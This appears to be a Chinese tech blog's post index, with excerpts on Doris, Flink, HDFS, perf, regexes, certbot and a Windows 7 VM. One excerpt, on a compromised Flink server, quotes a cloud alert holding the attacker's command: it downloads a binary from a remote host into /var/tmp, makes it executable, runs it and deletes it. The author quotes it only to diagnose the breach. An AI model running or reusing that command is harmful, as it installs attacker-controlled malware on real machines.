doris表优化
12# 优化时序数据的压缩策略 compaction 优化ALTER TABLE hpcang_ods.ods_stock_center_stock_history SET("compaction_policy" = "time_series") tablet 相关 123456789#查看表 tablet SHOW tablets FROM dbname.ods_stock_center_stock_history -- 查看表tablet详情show tablet tabletID-- 查看表version countSHOW PROC '/dbs/2358600/2775394/partitions/2775393/2775395/2775396';
linux文本操作
替换 1sed -i 's/旧内容/新内容/g' 文件名
flink常用命令
session模式 1234567#启动./bin/yarn-session.sh --detached#重启./bin/yarn-session.sh -id application_#停止echo "stop" | ./bin/yarn-session.sh -id application_ 任务管理 12345678910111213#任务监控 ./bin/flink list #创建savepoint./bin/flink savepoint $JOB_ID hdfs://hadoop-01:9000/flink_savepoint/savepoint-e24855-64847000b217 #优雅停止任务./bin/flink stop $JOB_ID --savepointPath hdfs://hadoop-01:9000/flink_savepoint/savepoint-e24855-64847000b217 ...
perf分析进程堆栈
perf 基本命令 实时显示系统中占用 CPU 最多的函数 1perf top 1perf record -g ./your_program
flink配置
12345678910111213141516171819202122232425262728293031jobmanager.rpc.port: 6123jobmanager.bind-host: 0.0.0.0jobmanager.memory.process.size: 2048mtaskmanager.bind-host: 0.0.0.0taskmanager.memory.process.size: 6gtaskmanager.numberOfTaskSlots: 4parallelism.default: 4state.backend: filesystem # 使用文件系统作为状态后端（可选：rocksdb, filesystem）state.checkpoints.dir: hdfs://hadoop-01:9000/flink_checkpoint # Checkpoint 的存储路径state.savepoints.dir: hdfs://hadoop-01:9000/flink_savepoint #...
常用正则表达式
匹配所有空行 1^\s*(?=\r?$)\n 匹配所有注释 1\*(.|\r\n|\n)*?\*/|\/\/.*
hdfs 常用命令
HA模式下管理节点 12345678# 查看namenode节点状态hdfs haadmin -getAllServiceState #切换节点为standby hdfs haadmin -transitionToStandby [serviceId]#切换节点为active hdfs haadmin -transitionToActive [serviceId]
let`s encert 证书自动更新
背景想私有化部署一个artalk评论，页面显示需要https才能访问，需要配置一个证书和域名。点开阿里云看了一下之前绑定的证书： 之前免费的单域名证书想要12个月，一年的费用都快赶上服务器的费用了。要么每个https服务每三个月手动更新一次，要么每台68，而且还有每年20个证书的限制。通配符的域名还是另外的价格。好在let`s encert 的通配符证书是免费的，并且推荐使用的certbot可以用来自动刷新证书。 安装certbot这边certbot官网提供了很方便的下载途径，选择对应的需要服务器和安装环境 这里选择使用snap安装 安装snap(已安装可以跳过)123sudo yum install snapdsudo systemctl enable --now snapd.socketsudo ln -s /var/lib/snapd/snap /snap 删除之前安装过的certbot(可跳过)1sudo yum remove certbot 安装certbot12sudo snap install --classic certbotsudo ln -s...
部署了flink 1.14.4的服务器不能登录
部署了flink 1.14.4的服务器不能登录本地ping一下 登录阿里云，看到有高危告警，再诊断一下 阿里云服务器的远程登录上去，看一下流量 很热闹，都是美国和英国的服务器流量，本来就是试用的4M带宽，妥妥的拥堵。 查看阿里云服务器的告警信息： 12345678910111213141516171819202122232425262728命令行./lushput wget -nc http://dash.dsn.ovh/dns/bitnow -q -P /var/tmp/; chmod 777 /var/tmp/bitnow; curl http://dash.dsn.ovh/dns/bitnow -s -o /var/tmp/bitnow; chmod 777 /var/tmp/bitnow; cd /var/tmp; ./bitnow; cd /var/tmp; rm bitnow进程PID3057822进程文件名无父进程ID3057204父进程路径pwer父进程文件路径/tmp/pwer进程链-[1340] /usr/sbin/sshd -D...
windows10上Vmware WorkStation Pro17 安装windows7虚拟机
下载vmware station pro17 登录博通网站 https://login.broadcom.com/signin 登录后选择 在打开的工作台中选择VMware Cloud Foundation，搜索 VMware Workstation Pro 选择合适的版本，选择个人版 点击下载 安装VMware WorkStation Pro一路下一步就行，需要输入密钥的地方，跳过 下载Windows7镜像MSDN 提供的纯净版下载地址：https://msdn.itellyou.cn/。十五年老网站，还活着！ 安装windows7镜像打开vmware workstation pro 文件->新建虚拟机->典型-> 安装程序光盘映像文件选择下载的windows7镜像 默认下一步 命名，自定义文件路径，方便以后迁移 配置虚拟机启动虚拟机 好，问题开始了。因为本机安装了docker...